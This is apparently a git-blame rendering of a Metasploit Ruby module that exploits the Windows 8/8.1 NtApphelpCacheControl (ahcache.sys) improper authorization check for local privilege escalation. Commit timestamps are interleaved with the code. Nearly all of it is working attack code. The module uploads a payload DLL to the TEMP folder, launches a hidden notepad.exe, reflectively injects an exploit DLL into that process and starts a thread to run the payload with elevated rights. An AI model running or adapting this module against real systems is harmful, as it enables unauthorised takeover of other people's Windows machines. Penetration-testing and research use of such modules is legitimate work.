2015-01-02 17:31:28 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/post/windows/reflective_dll_injection'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2015-01-08 20:13:14 +00:00
|
|
|
Rank = NormalRanking
|
2015-01-02 17:31:28 +00:00
|
|
|
|
2015-01-08 23:57:14 +00:00
|
|
|
include Exploit::EXE
|
2015-01-02 17:31:28 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info, {
|
2015-01-09 03:48:01 +00:00
|
|
|
'Name' => 'Windows NtApphelpCacheControl Improper Authorization Check',
|
2015-01-02 17:31:28 +00:00
|
|
|
'Description' => %q{
|
2015-01-09 03:48:01 +00:00
|
|
|
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
|
2015-01-08 20:13:14 +00:00
|
|
|
allows application compatibility data to be cached for quick reuse when new processes are
|
|
|
|
created. A normal user can query the cache but cannot add new cached entries as the
|
|
|
|
operation is restricted to administrators. This is checked in the function
|
|
|
|
AhcVerifyAdminContext.
|
|
|
|
|
|
|
|
This function has a vulnerability where it doesn't correctly check the impersonation token
|
|
|
|
of the caller to determine if the user is an administrator. It reads the caller's
|
|
|
|
impersonation token using PsReferenceImpersonationToken and then does a comparison between
|
|
|
|
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
|
|
|
|
of the token so it's possible to get an identify token on your thread from a local system
|
|
|
|
process and bypass this check.
|
2015-01-09 03:48:01 +00:00
|
|
|
|
|
|
|
This module currently only affects Windows 8 and Windows 8.1, and requires access to
|
|
|
|
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
|
2015-01-02 17:31:28 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'James Forshaw',
|
|
|
|
'sinn3r'
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
2015-01-10 01:02:08 +00:00
|
|
|
'Arch' => [ARCH_X86, ARCH_X86_64],
|
2015-01-02 17:31:28 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2015-01-10 01:02:08 +00:00
|
|
|
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
|
2015-01-02 17:31:28 +00:00
|
|
|
],
|
2015-01-10 01:02:08 +00:00
|
|
|
'DefaultTarget' => 0,
|
2015-01-02 17:31:28 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4096,
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVEB', '116497' ],
|
2015-01-09 06:19:12 +00:00
|
|
|
[ 'EDB', '35661' ],
|
2015-01-02 17:31:28 +00:00
|
|
|
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
|
|
|
|
],
|
2015-01-10 01:02:08 +00:00
|
|
|
'DisclosureDate' => 'Sep 30 2014'
|
2015-01-02 17:31:28 +00:00
|
|
|
}))
|
|
|
|
end
|
|
|
|
|
2015-01-08 23:18:14 +00:00
|
|
|
def temp
|
|
|
|
@temp ||= get_env('TEMP').to_s
|
|
|
|
end
|
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
def payload_filepath
|
|
|
|
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
|
2015-01-09 00:33:30 +00:00
|
|
|
end
|
|
|
|
|
2015-01-08 20:13:14 +00:00
|
|
|
def upload_payload_dll(payload_filepath)
|
|
|
|
payload = generate_payload_dll({:dll_exitprocess => true})
|
|
|
|
begin
|
|
|
|
write_file(payload_filepath, payload)
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
fail_with(
|
2015-01-08 23:57:14 +00:00
|
|
|
Failure::Unknown,
|
2015-01-08 20:13:14 +00:00
|
|
|
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-01-08 23:18:14 +00:00
|
|
|
def upload_payload
|
2015-01-10 01:02:08 +00:00
|
|
|
print_status("Payload DLL will be: #{payload_filepath}")
|
2015-01-08 23:18:14 +00:00
|
|
|
|
|
|
|
# Upload the payload
|
|
|
|
upload_payload_dll(payload_filepath)
|
|
|
|
if !file?(payload_filepath)
|
2015-01-09 03:25:55 +00:00
|
|
|
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
|
2015-01-08 23:18:14 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
def inject_exploit(process)
|
2015-01-08 23:18:14 +00:00
|
|
|
lib_file_path = ::File.join(
|
2015-01-10 01:02:08 +00:00
|
|
|
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
|
2015-01-08 23:18:14 +00:00
|
|
|
)
|
2015-01-02 17:31:28 +00:00
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
print_status("Creating thread")
|
|
|
|
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
|
|
|
|
var_mem = inject_into_process(process, payload_filepath)
|
|
|
|
process.thread.create(exploit_mem + offset, var_mem)
|
|
|
|
end
|
|
|
|
|
|
|
|
def prep_exploit_host
|
|
|
|
process = nil
|
|
|
|
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
|
|
|
|
begin
|
|
|
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
|
|
process = client.sys.process.open
|
|
|
|
rescue ::Exception => e
|
|
|
|
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
|
|
|
|
end
|
|
|
|
process
|
2015-01-08 23:18:14 +00:00
|
|
|
end
|
|
|
|
|
2015-01-09 06:03:39 +00:00
|
|
|
def check
|
|
|
|
if sysinfo['OS'] =~ /Windows 8/
|
2015-01-10 01:02:08 +00:00
|
|
|
# Still an 0day, but since this check doesn't actually trigger the vulnerability
|
|
|
|
# so we should only flag this as CheckCode::Appears
|
2015-01-09 06:03:39 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
|
|
|
|
Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
2015-01-08 23:18:14 +00:00
|
|
|
def exploit
|
|
|
|
print_status("Uploading the payload DLL")
|
|
|
|
upload_payload
|
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
proc = prep_exploit_host
|
|
|
|
if !proc
|
|
|
|
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
|
|
|
|
end
|
2015-01-02 17:31:28 +00:00
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
print_status("Injecting exploit into PID #{proc.pid}")
|
|
|
|
inject_exploit(proc)
|
2015-01-08 23:57:14 +00:00
|
|
|
end
|
|
|
|
|
2015-01-10 01:02:08 +00:00
|
|
|
|
2015-01-02 17:31:28 +00:00
|
|
|
end
|